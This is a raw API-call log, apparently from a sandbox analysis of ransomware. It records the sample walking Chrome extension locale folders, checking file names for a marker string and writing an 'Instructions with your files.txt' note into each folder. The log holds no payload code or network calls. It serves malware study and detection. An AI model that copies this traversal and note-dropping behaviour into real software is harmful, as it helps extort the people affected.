[0129.996] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8280e3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82821c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.996] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json") returned 159
[0129.996] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.996] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8280e3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82821c70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.996] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\Instructions with your files.txt") returned 178
[0129.996] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.996] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.997] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.997] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.997] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.997] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.997] CloseHandle (hObject=0x134) returned 1
[0129.997] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.997] GetProcessHeap () returned 0x810000
[0129.997] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.997] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828306d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828306d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv", cAlternateFileName="")) returned 1
[0129.997] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv") returned 145
[0129.998] GetProcessHeap () returned 0x810000
[0129.998] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.998] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*") returned 147
[0129.998] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828306d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828306d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.998] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\.") returned 147
[0129.999] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8282b8b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828306d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828306d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.999] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\..") returned 148
[0129.999] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828306d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8283ca20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.999] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\messages.json") returned 159
[0129.999] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.999] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828306d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8283ca20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.999] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\Instructions with your files.txt") returned 178
[0129.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.999] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.000] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.000] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.000] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.000] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.000] CloseHandle (hObject=0x134) returned 1
[0130.000] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.000] GetProcessHeap () returned 0x810000
[0130.000] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.001] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828529b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th", cAlternateFileName="")) returned 1
[0130.001] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th") returned 145
[0130.001] GetProcessHeap () returned 0x810000
[0130.001] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.001] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*") returned 147
[0130.001] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828529b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.001] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\.") returned 147
[0130.001] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8284db90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x828529b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.001] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\..") returned 148
[0130.001] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828529b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.001] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\messages.json") returned 159
[0130.001] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.001] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x828529b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x828529b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x44b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.001] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\Instructions with your files.txt") returned 178
[0130.001] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\th\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.002] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.002] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.002] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.003] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.003] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.003] CloseHandle (hObject=0x134) returned 1
[0130.003] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.003] GetProcessHeap () returned 0x810000
[0130.003] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.003] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82866230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr", cAlternateFileName="")) returned 1
[0130.003] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr") returned 145
[0130.003] GetProcessHeap () returned 0x810000
[0130.003] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.003] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*") returned 147
[0130.003] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82866230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.004] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\.") returned 147
[0130.004] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82863b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82866230, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.004] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\..") returned 148
[0130.004] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82866230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.004] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\messages.json") returned 159
[0130.004] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.004] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82866230, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82866230, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab2840, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.004] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\Instructions with your files.txt") returned 178
[0130.004] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\tr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.005] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.006] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.006] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.006] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.006] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.006] CloseHandle (hObject=0x134) returned 1
[0130.006] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.006] GetProcessHeap () returned 0x810000
[0130.006] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
